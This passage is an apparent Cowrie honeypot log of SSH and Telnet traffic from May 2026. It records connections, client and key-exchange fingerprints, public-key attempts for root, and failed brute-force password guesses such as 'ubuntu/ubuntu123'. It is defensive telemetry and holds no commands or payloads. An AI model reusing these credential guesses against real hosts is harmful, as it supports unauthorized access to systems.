{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:35:d3:8e:32:f6:7c:c1:1f:27:e3:e7:68:3f:9d:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD4oIRYlhG7rSC96t/FrQumwgZhoDF/MIvV3k1tQec95Qrueo7OOVcGHSBe4YmaRRbbK3qvNq4YCZ0snviQK6TRMZS+4Ug13umXBfACg2/f6HAQ4KR5nr3xWpIE0jYSAxix3eIfUtkLhs9mk/X709EDlsNjJrR64Km4DoBvoyEZHNwHZ1w+W/2Uw70VlGAh8ajoSw7ufLHoR8OYiUAcZvKKWsY6wsdfuL94bcPiQ/FKHLFx/t/cq49Go3A9l5pTI7N/5NcA43/C+eXAnTr1R43irQHZ6ZmZ7wy7TksWl1GwcKGP+7f0EPmkNx7YfY+kSLDxyIASg6G7qNa5xvolKsdJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:48.826878Z","src_ip":"136.243.76.202","session":"aa79bccc19a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:a0:af:14:c7:72:18:5c:56:97:9e:8d:05:38:d6:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKrZkEv0rBM+MsrivHnzaOiMoASxK/uIBXk2NCMMU7GB/U3AjAnGEYoRdfJ7E1IpQO+sSbFaThK5yYehMqN0HYf8kESlq07yCjqj+foLaEDksjUYKe5fTkBqBedWxg4Wr/h1Dx9QBPo9dq/DMI2eW5XrNpNFwrxgrAIQJWjCGfoO9TK6kY7VO0+XbhKnYIyY8DJocOoTtOOJEyVGk8XEdTrILzzHCVCzrVGirBxCkFbN5JG7u8zRjQVGlZspS0QHuLmHC3AdCb3nvMy1UJdApC2FC2wFgTVGmMzDFHDJwBNc+j/2O+4qbsE65Fu3f0SZLNPTPV9iDaR9VG4wBhESF5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:a0:af:14:c7:72:18:5c:56:97:9e:8d:05:38:d6:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:48.920431Z","src_ip":"136.243.76.202","session":"aa79bccc19a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:a0:af:14:c7:72:18:5c:56:97:9e:8d:05:38:d6:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKrZkEv0rBM+MsrivHnzaOiMoASxK/uIBXk2NCMMU7GB/U3AjAnGEYoRdfJ7E1IpQO+sSbFaThK5yYehMqN0HYf8kESlq07yCjqj+foLaEDksjUYKe5fTkBqBedWxg4Wr/h1Dx9QBPo9dq/DMI2eW5XrNpNFwrxgrAIQJWjCGfoO9TK6kY7VO0+XbhKnYIyY8DJocOoTtOOJEyVGk8XEdTrILzzHCVCzrVGirBxCkFbN5JG7u8zRjQVGlZspS0QHuLmHC3AdCb3nvMy1UJdApC2FC2wFgTVGmMzDFHDJwBNc+j/2O+4qbsE65Fu3f0SZLNPTPV9iDaR9VG4wBhESF5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:48.924211Z","src_ip":"136.243.76.202","session":"aa79bccc19a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:fa:05:4f:d1:05:fa:c5:40:99:e1:3a:f5:42:43:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3x1pfTziVje1s/yn33LjydCwfzQj+H66738wYA29OLYkQCPLWIFbGyJ29wDbDZpoZgJ5DewBm5dQScaqwJHbRTesvLkDMCVksxCb39/h488QHhvRoq1HYUpqimfFkXLEMWMAcsn3VfyFnIWBwtneMeWhpWCT+4+VGN5l+CHMv8V8HZmYplJOPJ/ogVtPeYyVyQzPzuS0alMT6k3l/KTfGhnrTZlSofXjA1nRmLm51JeEYJBWVLdHNz323tEuujGaas+Rxh4Cet+GAV4pCTewSsU5cPNKInYkGk3bWtMtTktArO37H04GkJofpYl3xgrVVyviZ/xYpTvDpDFWjfflKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:fa:05:4f:d1:05:fa:c5:40:99:e1:3a:f5:42:43:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:49.019926Z","src_ip":"136.243.76.202","session":"aa79bccc19a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:fa:05:4f:d1:05:fa:c5:40:99:e1:3a:f5:42:43:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3x1pfTziVje1s/yn33LjydCwfzQj+H66738wYA29OLYkQCPLWIFbGyJ29wDbDZpoZgJ5DewBm5dQScaqwJHbRTesvLkDMCVksxCb39/h488QHhvRoq1HYUpqimfFkXLEMWMAcsn3VfyFnIWBwtneMeWhpWCT+4+VGN5l+CHMv8V8HZmYplJOPJ/ogVtPeYyVyQzPzuS0alMT6k3l/KTfGhnrTZlSofXjA1nRmLm51JeEYJBWVLdHNz323tEuujGaas+Rxh4Cet+GAV4pCTewSsU5cPNKInYkGk3bWtMtTktArO37H04GkJofpYl3xgrVVyviZ/xYpTvDpDFWjfflKQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:49.023956Z","src_ip":"136.243.76.202","session":"aa79bccc19a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:3f:2c:8c:e4:1c:b5:ba:47:a8:06:b5:ca:9c:68:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvDomGP6WmZHKpemyjSXmbuxO/rD8S3av9N2d1QrBIXXrpKvVryVegqVoxD0k/SDWyhntuFn2nuEpZDdaVOyK0CVvVCxVyIuPFXA9I35yft25urkGka1o6Q5FqZHPl/48AtYFSKZzwA26ZR9IR0EJQh9DuviAD5MkSXxY9A8F3CagzR/UthJb5VqrEMYDKMa9xROW7b7dvRbPuOUtrWy1tgvpmZQN5Oedb2b9rQUeeuH155PCOtf5SWkCaRoXObqL7bQo9RGjoiv2rAhCk2+khP623G8w+XtdPyGtns8g0+1eskNUV0l1P0Y94IkbQyMeAG8ISwdD+lD1CuYodkOxmQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:3f:2c:8c:e4:1c:b5:ba:47:a8:06:b5:ca:9c:68:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:49.117672Z","src_ip":"136.243.76.202","session":"aa79bccc19a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:3f:2c:8c:e4:1c:b5:ba:47:a8:06:b5:ca:9c:68:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvDomGP6WmZHKpemyjSXmbuxO/rD8S3av9N2d1QrBIXXrpKvVryVegqVoxD0k/SDWyhntuFn2nuEpZDdaVOyK0CVvVCxVyIuPFXA9I35yft25urkGka1o6Q5FqZHPl/48AtYFSKZzwA26ZR9IR0EJQh9DuviAD5MkSXxY9A8F3CagzR/UthJb5VqrEMYDKMa9xROW7b7dvRbPuOUtrWy1tgvpmZQN5Oedb2b9rQUeeuH155PCOtf5SWkCaRoXObqL7bQo9RGjoiv2rAhCk2+khP623G8w+XtdPyGtns8g0+1eskNUV0l1P0Y94IkbQyMeAG8ISwdD+lD1CuYodkOxmQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:49.121383Z","src_ip":"136.243.76.202","session":"aa79bccc19a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:49.215050Z","src_ip":"136.243.76.202","session":"aa79bccc19a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.45699501037598,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:51.902799Z","src_ip":"128.199.8.54","session":"1976c39cd1cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.594032526016235,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:58.920259Z","src_ip":"68.178.168.57","session":"c03c286b9662","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56136,"dst_ip":"159.203.135.109","dst_port":23,"session":"e105c2608b6e","protocol":"telnet","message":"New connection: 128.199.8.54:56136 (159.203.135.109:23) [session: e105c2608b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:14:05.203104Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35180,"dst_ip":"159.203.135.109","dst_port":23,"session":"70ff784e47e7","protocol":"telnet","message":"New connection: 128.199.8.54:35180 (159.203.135.109:23) [session: 70ff784e47e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:14:08.873292Z"}
{"eventid":"cowrie.session.closed","duration":60.819761753082275,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:14:09.990174Z","src_ip":"212.55.149.117","session":"82bf13d5d419","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38196,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c10a41857a4","protocol":"telnet","message":"New connection: 128.199.8.54:38196 (159.203.135.109:23) [session: 2c10a41857a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:14:10.518320Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39552,"dst_ip":"159.203.135.109","dst_port":23,"session":"2eeeb0644ef2","protocol":"telnet","message":"New connection: 128.199.8.54:39552 (159.203.135.109:23) [session: 2eeeb0644ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:14:11.245889Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.168.57","src_port":47928,"dst_ip":"10.17.0.5","dst_port":23,"session":"683a0c6da99b","protocol":"telnet","message":"New connection: 68.178.168.57:47928 (10.17.0.5:23) [session: 683a0c6da99b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:14:13.767743Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49166,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d69d74f9c5b","protocol":"telnet","message":"New connection: 128.199.8.54:49166 (159.203.135.109:23) [session: 4d69d74f9c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:14:16.124391Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50848,"dst_ip":"159.203.135.109","dst_port":23,"session":"e47a07113f81","protocol":"telnet","message":"New connection: 128.199.8.54:50848 (159.203.135.109:23) [session: e47a07113f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:14:17.000618Z"}
{"eventid":"cowrie.session.closed","duration":30.723051071166992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:14:19.191467Z","src_ip":"68.178.168.57","session":"8322600466b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":43044,"dst_ip":"159.203.135.109","dst_port":22,"session":"612c58c8c8be","protocol":"ssh","message":"New connection: 78.83.249.54:43044 (159.203.135.109:22) [session: 612c58c8c8be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:14:34.042954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:14:34.047837Z","src_ip":"78.83.249.54","session":"612c58c8c8be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:14:34.168730Z","src_ip":"78.83.249.54","session":"612c58c8c8be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"12345","message":"login attempt [vbox/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:14:34.679619Z","src_ip":"78.83.249.54","session":"612c58c8c8be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:14:35.802424Z","src_ip":"78.83.249.54","session":"612c58c8c8be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.05245780944824,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:14:41.255435Z","src_ip":"128.199.8.54","session":"e105c2608b6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.390586137771606,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:14:43.263757Z","src_ip":"128.199.8.54","session":"70ff784e47e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.87109351158142,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:14:44.389282Z","src_ip":"128.199.8.54","session":"2c10a41857a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.756205320358276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:14:44.523819Z","src_ip":"68.178.168.57","session":"683a0c6da99b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.47576546669006,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:14:44.721509Z","src_ip":"128.199.8.54","session":"2eeeb0644ef2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.99381637573242,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:14:51.118069Z","src_ip":"128.199.8.54","session":"4d69d74f9c5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.852596044540405,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:14:51.853079Z","src_ip":"128.199.8.54","session":"e47a07113f81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":32745,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dedb88a3f85","protocol":"ssh","message":"New connection: 2.57.121.25:32745 (10.17.0.5:22) [session: 0dedb88a3f85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:14:57.345622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:14:57.350562Z","src_ip":"2.57.121.25","session":"0dedb88a3f85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:14:57.454206Z","src_ip":"2.57.121.25","session":"0dedb88a3f85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16051980","message":"login attempt [user/16051980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:14:57.933020Z","src_ip":"2.57.121.25","session":"0dedb88a3f85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16051979","message":"login attempt [user/16051979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:14:59.037002Z","src_ip":"2.57.121.25","session":"0dedb88a3f85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1605","message":"login attempt [user/1605] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:00.143568Z","src_ip":"2.57.121.25","session":"0dedb88a3f85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16041980","message":"login attempt [user/16041980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:01.258531Z","src_ip":"2.57.121.25","session":"0dedb88a3f85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1604","message":"login attempt [user/1604] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:02.364979Z","src_ip":"2.57.121.25","session":"0dedb88a3f85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:03.471489Z","src_ip":"2.57.121.25","session":"0dedb88a3f85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":56772,"dst_ip":"159.203.135.109","dst_port":22,"session":"3378edb77000","protocol":"ssh","message":"New connection: 80.94.92.186:56772 (159.203.135.109:22) [session: 3378edb77000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:09.233878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:10.454830Z","src_ip":"80.94.92.186","session":"3378edb77000","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:10.459098Z","src_ip":"80.94.92.186","session":"3378edb77000","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42470,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2e11fbd1d80","protocol":"telnet","message":"New connection: 128.199.8.54:42470 (159.203.135.109:23) [session: b2e11fbd1d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:11.222497Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123","message":"login attempt [ubuntu/ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:11.485647Z","src_ip":"80.94.92.186","session":"3378edb77000","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:12.614483Z","src_ip":"80.94.92.186","session":"3378edb77000","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.91","src_port":65472,"dst_ip":"159.203.135.109","dst_port":22,"session":"7efd74217ec6","protocol":"ssh","message":"New connection: 205.210.31.91:65472 (159.203.135.109:22) [session: 7efd74217ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:16.396914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:15:17.129910Z","src_ip":"205.210.31.91","session":"7efd74217ec6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-